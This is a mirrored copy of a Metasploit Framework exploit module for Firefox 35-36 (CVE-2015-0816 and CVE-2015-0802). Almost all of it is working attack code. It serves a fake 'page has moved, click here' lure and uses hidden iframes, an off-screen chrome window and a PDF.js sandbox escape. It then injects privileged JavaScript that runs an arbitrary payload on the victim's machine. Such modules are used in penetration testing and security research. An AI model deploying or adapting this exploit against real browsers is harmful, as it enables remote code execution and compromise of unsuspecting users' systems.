CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::BrowserExploitServer
10
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => 'Firefox PDF.js Privileged Javascript Injection',
15
'Description' => %q{
16
This module gains remote code execution on Firefox 35-36 by abusing a
17
privilege escalation bug in resource:// URIs. PDF.js is used to exploit
18
the bug. This exploit requires the user to click anywhere on the page to
19
trigger the vulnerability.
20
},
21
'Author' => [
22
'Unknown', # PDF.js injection code was taken from a 0day
23
'Marius Mlynski', # discovery and pwn2own exploit
24
'joev' # copypasta monkey, CVE-2015-0802
25
],
26
'DisclosureDate' => '2015-03-31',
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
['CVE', '2015-0816'], # pdf.js can load chrome://
31
['CVE', '2015-0802'] # can access messageManager property in chrome window
32
],
33
'Targets' => [
34
[
35
'Universal (Javascript XPCOM Shell)', {
36
'Platform' => 'firefox',
37
'Arch' => ARCH_FIREFOX
38
}
39
],
40
[
41
'Native Payload', {
42
'Platform' => %w{ java linux osx solaris win },
43
'Arch' => ARCH_ALL
44
}
45
]
46
],
47
'DefaultTarget' => 0,
48
'BrowserRequirements' => {
49
:source => 'script',
50
:ua_name => HttpClients::FF,
51
:ua_ver => lambda { |ver| ver.to_i.between?(35, 36) }
52
}
53
))
54
55
register_options([
56
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
57
])
58
end
59
60
def on_request_exploit(cli, request, target_info)
61
print_status('Sending exploit...')
62
send_response_html(cli, html)
63
end
64
65
def html
66
"<!doctype html><html><body>#{datastore['CONTENT'] || default_html}"+
67
"<script>#{js}</script></body></html>"
68
end
69
70
def default_html
71
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
72
end
73
74
def js
75
key = Rex::Text.rand_text_alpha(5 + rand(12))
76
frame = Rex::Text.rand_text_alpha(5 + rand(12))
77
r = Rex::Text.rand_text_alpha(5 + rand(12))
78
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
79
80
<<-EOJS
81
function xml2string(obj) {
82
return new XMLSerializer().serializeToString(obj);
83
}
84
85
function __proto(obj) {
86
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
87
}
88
89
function get(path, callback, timeout, template, value) {
90
callback = _(callback);
91
if (template && value) {
92
callback = callback.replace(template, value);
93
}
94
js_call1 = 'javascript:' + _(function() {
95
try {
96
done = false;
97
window.onclick = function() {
98
if (done) { return; } done = true;
99
q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px");
100
setTimeout(function(){
101
q.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
102
103
setTimeout(function(){
104
var opts = #{JSON.unparse(opts)};
105
var key = opts['#{key}'];
106
q.messageManager.loadFrameScript('data:,'+key, false);
107
setTimeout(function(){
108
q.close();
109
}, 100)
110
}, 100)
111
}, 100);
112
}
113
} catch (e) {
114
history.back();
115
}
116
undefined;
117
}, "%url%", path);
118
js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
119
sandboxContext(_(function() {
120
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
121
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
122
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
123
}));
124
setTimeout((function() {
125
sandboxContext(_(function() {
126
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
127
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
128
l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
129
}));
130
}), timeout);
131
}
132
133
function get_data(obj) {
134
data = null;
135
try {
136
data = obj.document.documentElement.innerHTML;
137
if (data.indexOf('dirListing') < 0) {
138
throw new Error();
139
}
140
} catch (e) {
141
if (this.document instanceof XMLDocument) {
142
data = xml2string(this.document);
143
} else {
144
try {
145
if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
146
data = this.document.body.firstChild.textContent;
147
} else {
148
throw new Error();
149
}
150
} catch (e) {
151
try {
152
if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
153
return null;
154
} else {
155
throw new Error();
156
}
157
} catch (e) {
158
;;
159
}
160
}
161
}
162
}
163
return data;
164
}
165
166
function _(s, template, value) {
167
s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
168
s = s.substring(0, s.length - 1);
169
if (template && value) {
170
s = s.replace(template, value);
171
}
172
s += __proto;
173
s += xml2string;
174
s += get_data;
175
s = s.replace(/\\s\\/\\/.*\\n/g, "");
176
s = s + ";undefined";
177
return s;
178
}
179
180
function get_sandbox_context() {
181
if (window.my_win_id == null) {
182
for (var i = 0; i < 20; i++) {
183
try {
184
if (window[i].location.toString().indexOf("view-source:") != -1) {
185
my_win_id = i;
186
break;
187
}
188
} catch (e) {}
189
}
190
};
191
if (window.my_win_id == null)
192
return;
193
clearInterval(sandbox_context_i);
194
object.data = 'view-source:' + blobURL;
195
window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
196
object.data = 'data:text/html,<'+'html/>';
197
window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
198
'"position:absolute; left:-9999px;" onload = "'+_(function(){
199
window.wrappedJSObject.sandboxContext=(function(cmd) {
200
with(importFunction.constructor('return this')()) {
201
return eval(cmd);
202
}
203
});
204
}) + '"/>');
205
}
206
207
var HIDDEN = 'position:absolute;left:-9999px;height:1px;width:1px;';
208
var i = document.createElement("iframe");
209
i.id = "i";
210
i.style=HIDDEN;
211
i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
212
document.documentElement.appendChild(i);
213
i.onload = function() {
214
if (this.contentDocument.styleSheets.length > 0) {
215
var i2 = document.createElement("iframe");
216
i2.id = "i2";
217
i2.style='opacity: 0;position:absolute;top:0;left:0;right:0;bottom:0;';
218
i2.height = window.innerHeight+'px';
219
i2.width = window.innerWidth+'px';
220
i2.src = "data:application/pdf,";
221
document.documentElement.appendChild(i2);
222
pdfBlob = new Blob([''], {
223
type: 'application/pdf'
224
});
225
blobURL = URL.createObjectURL(pdfBlob);
226
object = document.createElement('object');
227
object.style=HIDDEN;
228
object.data = 'data:application/pdf,';
229
object.onload = (function() {
230
sandbox_context_i = setInterval(get_sandbox_context, 200);
231
object.onload = null;
232
object.data = 'view-source:' + location.href;
233
return;
234
});
235
document.documentElement.appendChild(object);
236
} else {
237
this.contentWindow.location.reload();
238
}
239
}
240
241
document.body.style.height = window.innerHeight+'px';
242
243
var kill = setInterval(function() {
244
if (window.sandboxContext) {
245
var f = "chrome://browser/content/browser.xul";
246
get(f, function() {}, 0, "%URL%", f);
247
clearInterval(kill);
248
} else {
249
return;
250
}
251
},20);
252
253
EOJS
254
end
255
end
256
257